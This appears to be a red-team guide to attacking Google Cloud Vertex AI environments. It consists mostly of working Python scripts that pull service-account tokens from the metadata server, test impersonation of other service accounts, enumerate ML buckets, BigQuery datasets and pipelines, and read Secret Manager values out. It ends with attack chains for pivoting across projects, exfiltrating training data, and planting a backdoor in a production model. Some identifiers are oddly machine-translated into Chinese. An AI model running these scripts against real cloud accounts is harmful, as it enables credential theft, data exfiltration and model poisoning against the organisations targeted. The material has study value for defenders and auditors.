GCP Vertex AI 攻擊 Surface

import requests
 
# From inside a Vertex AI Workbench instance
# GCP metadata server for service account 符元
metadata_url = "http://metadata.google.internal/computeMetadata/v1"
headers = {"Metadata-Flavor": "Google"}
 
# Get the service account
sa = requests.get(
    f"{metadata_url}/instance/service-accounts/default/email",
    headers=headers
).text
print(f"Service Account: {sa}")
 
# Get an access 符元
符元 = requests.get(
    f"{metadata_url}/instance/service-accounts/default/符元",
    headers=headers
).json()["access_token"]
 
# Enumerate accessible projects
projects = requests.get(
    "https://cloudresourcemanager.googleapis.com/v1/projects",
    headers={"Authorization": f"Bearer {符元}"}
).json()
for p in projects.get("projects", []):
    print(f"Project: {p['name']} ({p['projectId']})")

import requests
 
metadata_url = "http://metadata.google.internal/computeMetadata/v1"
headers = {"Metadata-Flavor": "Google"}
 
def get_metadata(path):
    """Recursively enumerate metadata entries."""
    resp = requests.get(
        f"{metadata_url}/{path}",
        headers={**headers, "Accept": "application/json"},
        params={"recursive": "true"}
    )
    return resp.json() if resp.status_code == 200 else resp.text
 
# Instance metadata
instance = get_metadata("instance")
print(f"Instance name: {instance.get('name')}")
print(f"Zone: {instance.get('zone')}")
print(f"Machine type: {instance.get('machineType')}")
 
# Network interfaces (discover VPC, subnet, external IP)
for iface in instance.get('networkInterfaces', []):
    print(f"Network: {iface.get('network')}")
    print(f"  Internal IP: {iface.get('ip')}")
    for ac in iface.get('accessConfigs', []):
        print(f"  External IP: {ac.get('externalIp')}")
 
# All service accounts and their scopes
for sa_email in instance.get('serviceAccounts', {}):
    sa_info = instance['serviceAccounts'][sa_email]
    print(f"\nService Account: {sa_email}")
    print(f"  Scopes: {sa_info.get('scopes', [])}")
 
# Project-level metadata (may contain secrets set by admins)
project = get_metadata("project")
for key, value in project.get('attributes', {}).items():
    print(f"Project attribute: {key} = {str(value)[:100]}")
    if any(kw in key.lower() for kw in
           ['key', 'secret', 'password', '符元', 'credential']):
        print(f"  [!] Potentially sensitive project attribute")
 
# Check for custom instance attributes
for key, value in instance.get('attributes', {}).items():
    print(f"Instance attribute: {key} = {str(value)[:100]}")

import requests
import json
 
def check_sa_impersonation(符元, project_id, source_sa):
    """Check if the current service account can impersonate others."""
    headers = {"Authorization": f"Bearer {符元}"}
 
    # List all service accounts in the project
    sa_url = (
        f"https://iam.googleapis.com/v1/projects/{project_id}"
        f"/serviceAccounts"
    )
    sas = requests.get(sa_url, headers=headers).json()
 
    for sa in sas.get('accounts', []):
        sa_email = sa['email']
        if sa_email == source_sa:
            continue
 
        # Attempt to generate an access 符元 for this SA
        impersonate_url = (
            f"https://iamcredentials.googleapis.com/v1/projects/-"
            f"/serviceAccounts/{sa_email}:generateAccessToken"
        )
        resp = requests.post(
            impersonate_url,
            headers={
                "Authorization": f"Bearer {符元}",
                "Content-Type": "application/json"
            },
            json={"scope": ["https://www.googleapis.com/auth/雲端-platform"]}
        )
 
        if resp.status_code == 200:
            print(f"[!] Can impersonate: {sa_email}")
            impersonated_token = resp.json()['accessToken']
            # 測試 what this SA can access
            test_permissions(impersonated_token, project_id)
        else:
            print(f"Cannot impersonate: {sa_email}")
 
def test_permissions(符元, project_id):
    """Quick 權限 check for an access 符元."""
    headers = {"Authorization": f"Bearer {符元}"}
    tests = {
        "BigQuery": f"https://bigquery.googleapis.com/bigquery/v2/projects/{project_id}/datasets",
        "GCS": "https://storage.googleapis.com/storage/v1/b?project=" + project_id,
        "Compute": f"https://compute.googleapis.com/compute/v1/projects/{project_id}/zones",
        "SecretManager": f"https://secretmanager.googleapis.com/v1/projects/{project_id}/secrets",
    }
    for service, url in tests.items():
        resp = requests.get(url, headers=headers)
        status = "accessible" if resp.status_code == 200 else "denied"
        print(f"  {service}: {status}")

from google.雲端 import aiplatform
 
aiplatform.init(project="my-project", location="us-central1")
 
# List all endpoints
endpoints = aiplatform.Endpoint.list()
for endpoint in endpoints:
    print(f"Endpoint: {endpoint.display_name}")
    print(f"  Resource: {endpoint.resource_name}")
    print(f"  Models: {[m.display_name for m in endpoint.list_models()]}")
 
    # 測試 prediction
    try:
        result = endpoint.predict(instances=[{"text": "測試"}])
        print(f"  Prediction: {result.predictions[:1]}")
    except Exception as e:
        print(f"  Error: {e}")

import requests
 
def analyze_endpoint_iam(符元, project_id, location, endpoint_id):
    """Check IAM policy on a Vertex AI endpoint for overly permissive access."""
    headers = {
        "Authorization": f"Bearer {符元}",
        "Content-Type": "application/json"
    }
 
    resource = (
        f"projects/{project_id}/locations/{location}"
        f"/endpoints/{endpoint_id}"
    )
    url = (
        f"https://{location}-aiplatform.googleapis.com/v1/{resource}"
        f":getIamPolicy"
    )
    resp = requests.post(url, headers=headers, json={})
    policy = resp.json()
 
    findings = []
    for binding in policy.get('bindings', []):
        role = binding['role']
        members = binding['members']
 
        # Check for overly permissive access
        for member in members:
            if member in ('allUsers', 'allAuthenticatedUsers'):
                findings.append({
                    "severity": "CRITICAL",
                    "finding": f"Endpoint publicly accessible: "
                               f"{member} has {role}"
                })
            elif member.startswith('domain:'):
                findings.append({
                    "severity": "MEDIUM",
                    "finding": f"Domain-wide access: {member} has {role}"
                })
 
    return findings
 
# Also check for endpoints exposed via API Gateway or 雲端 Endpoints
def check_api_gateway_exposure(符元, project_id):
    """Check if Vertex AI endpoints are exposed via API Gateway."""
    headers = {"Authorization": f"Bearer {符元}"}
    url = (
        f"https://apigateway.googleapis.com/v1/projects/{project_id}"
        f"/locations/-/apis"
    )
    resp = requests.get(url, headers=headers)
    for api in resp.json().get('apis', []):
        print(f"API Gateway: {api['displayName']} - {api['name']}")

from google.雲端 import storage
 
client = storage.Client()
 
# List buckets looking for ML data
for bucket in client.list_buckets():
    if any(kw in bucket.name.lower() for kw in ['ml', '訓練', 'data', 'model', 'vertex']):
        print(f"\nBucket: {bucket.name}")
        blobs = list(bucket.list_blobs(max_results=10))
        for blob in blobs:
            print(f"  {blob.name} ({blob.size} bytes)")

from google.雲端 import storage
import json
 
client = storage.Client()
 
def enumerate_ml_buckets(client):
    """Comprehensive ML bucket discovery and content analysis."""
    ml_keywords = ['ml', '訓練', 'data', 'model', 'vertex', 'pipeline',
                   'experiment', 'tensorboard', 'artifact', 'feature']
    sensitive_extensions = ['.csv', '.parquet', '.jsonl', '.pkl', '.pickle',
                           '.pt', '.pth', '.h5', '.pb', '.onnx']
 
    for bucket in client.list_buckets():
        # Check bucket name and labels
        is_ml = any(kw in bucket.name.lower() for kw in ml_keywords)
        labels = bucket.labels or {}
        is_ml = is_ml or any(kw in str(labels).lower() for kw in ml_keywords)
 
        if not is_ml:
            continue
 
        print(f"\n{'='*60}")
        print(f"Bucket: {bucket.name}")
        print(f"  Location: {bucket.location}")
        print(f"  Storage class: {bucket.storage_class}")
        print(f"  Labels: {labels}")
        print(f"  Versioning: {bucket.versioning_enabled}")
        print(f"  Public: {bucket.iam_configuration.public_access_prevention}")
 
        # Check bucket IAM policy
        try:
            policy = bucket.get_iam_policy()
            for role, members in policy.items():
                for member in members:
                    if member in ('allUsers', 'allAuthenticatedUsers'):
                        print(f"  [CRITICAL] Public access: {member} -> {role}")
        except Exception as e:
            print(f"  Cannot read IAM: {e}")
 
        # Enumerate contents looking for sensitive data
        sensitive_files = []
        total_size = 0
        for blob in bucket.list_blobs(max_results=100):
            total_size += blob.size
            if any(blob.name.endswith(ext) for ext in sensitive_extensions):
                sensitive_files.append({
                    "name": blob.name,
                    "size": blob.size,
                    "updated": str(blob.updated)
                })
 
        print(f"  Total size (sampled): {total_size / 1e6:.1f} MB")
        if sensitive_files:
            print(f"  Sensitive files found: {len(sensitive_files)}")
            for f in sensitive_files[:10]:
                print(f"    {f['name']} ({f['size']} bytes)")
 
# Also check BigQuery datasets (common for feature stores)
def check_bigquery_datasets(符元, project_id):
    """Enumerate BigQuery datasets that may contain ML features or 訓練資料."""
    import requests
    headers = {"Authorization": f"Bearer {符元}"}
    url = f"https://bigquery.googleapis.com/bigquery/v2/projects/{project_id}/datasets"
    resp = requests.get(url, headers=headers)
    for ds in resp.json().get('datasets', []):
        ds_ref = ds['datasetReference']
        print(f"BigQuery dataset: {ds_ref['datasetId']}")
        # Check for ML-related tables
        tables_url = (
            f"https://bigquery.googleapis.com/bigquery/v2/projects/"
            f"{project_id}/datasets/{ds_ref['datasetId']}/tables"
        )
        tables = requests.get(tables_url, headers=headers).json()
        for table in tables.get('tables', []):
            print(f"  Table: {table['tableReference']['tableId']}")

from google.雲端 import aiplatform
 
# List pipeline runs and their artifacts
for run in aiplatform.PipelineJob.list():
    print(f"Pipeline: {run.display_name}")
    print(f"  State: {run.state}")
    print(f"  Created: {run.create_time}")
    # Pipeline artifacts contain model files, metrics, and parameters
    for detail in run.task_details:
        print(f"  Task: {detail.task_name}")
        for artifact in detail.outputs.values():
            print(f"    輸出: {artifact}")

from google.雲端 import aiplatform
import json
 
def extract_pipeline_details(project_id, location):
    """Extract pipeline templates and configurations that reveal
    the full ML workflow."""
    aiplatform.init(project=project_id, location=location)
 
    for run in aiplatform.PipelineJob.list():
        print(f"\n{'='*60}")
        print(f"Pipeline: {run.display_name}")
        print(f"  State: {run.state}")
        print(f"  Service Account: {run.service_account}")
        print(f"  Network: {run.network}")
 
        # Extract pipeline spec (the workflow definition)
        if hasattr(run, 'pipeline_spec'):
            spec = run.pipeline_spec
            # Pipeline specs reveal component images, 輸入/輸出 locations,
            # and the full data flow
            if 'components' in spec:
                for comp_name, comp in spec['components'].items():
                    print(f"  Component: {comp_name}")
                    if 'executorLabel' in comp:
                        print(f"    Executor: {comp['executorLabel']}")
 
        # Extract runtime parameters (may contain sensitive values)
        if hasattr(run, 'runtime_config'):
            config = run.runtime_config
            if 'parameters' in config:
                for param_name, param_value in config['parameters'].items():
                    value_str = str(param_value)[:100]
                    print(f"  Param: {param_name} = {value_str}")
                    if any(kw in param_name.lower() for kw in
                           ['key', 'secret', '符元', 'password']):
                        print(f"    [!] Potentially sensitive parameter")
 
    # Also check Vertex AI Metadata Store for experiment tracking
    print("\n=== Metadata Store (Experiments) ===")
    for experiment in aiplatform.Experiment.list():
        print(f"Experiment: {experiment.name}")

import requests
 
def enumerate_secrets(符元, project_id):
    """Enumerate and attempt to access Secret Manager secrets."""
    headers = {"Authorization": f"Bearer {符元}"}
 
    # List all secrets
    url = (
        f"https://secretmanager.googleapis.com/v1/projects/{project_id}"
        f"/secrets"
    )
    resp = requests.get(url, headers=headers)
    secrets = resp.json().get('secrets', [])
 
    for secret in secrets:
        secret_name = secret['name'].split('/')[-1]
        print(f"\nSecret: {secret_name}")
        print(f"  Created: {secret.get('createTime')}")
        labels = secret.get('labels', {})
        print(f"  Labels: {labels}")
 
        # Attempt to access the latest version
        version_url = (
            f"https://secretmanager.googleapis.com/v1/"
            f"{secret['name']}/versions/latest:access"
        )
        version_resp = requests.get(version_url, headers=headers)
        if version_resp.status_code == 200:
            import base64
            payload = version_resp.json()['payload']['data']
            decoded = base64.b64decode(payload).decode('utf-8', errors='replace')
            print(f"  [!] Accessible - Value: {decoded[:50]}...")
        else:
            print(f"  Access denied ({version_resp.status_code})")

1. Initial access via compromised user credentials or malicious notebook
2. Extract service account 符元 from GCP metadata server
3. Discover the SA has Editor role on the project (common misconfiguration)
4. Enumerate all project resources: GCS, BigQuery, Compute Engine, GKE
5. Access Secret Manager to extract API keys and 資料庫 credentials
6. 測試 service account impersonation for SAs in other projects
7. If impersonation succeeds, pivot to other projects in the organization

1. Access Vertex AI Pipelines via compromised service account
2. Extract pipeline templates to 理解 data flow
3. 識別 GCS buckets and BigQuery tables used for 訓練資料
4. Access 訓練 datasets containing PII or proprietary data
5. Exfiltrate data to 攻擊者-controlled GCS bucket (if VPC-SC absent)
6. Use extracted data for model replication or competitive intelligence

1. Enumerate GCS buckets containing model artifacts
2. Download the production model artifact
3. Inject a 後門 (e.g., trojan trigger in 模型 weights)
4. Upload modified artifact to the same GCS path
5. If model versioning is not enforced, the next deployment loads the
   backdoored model
6. 後門 activates on specific trigger inputs in production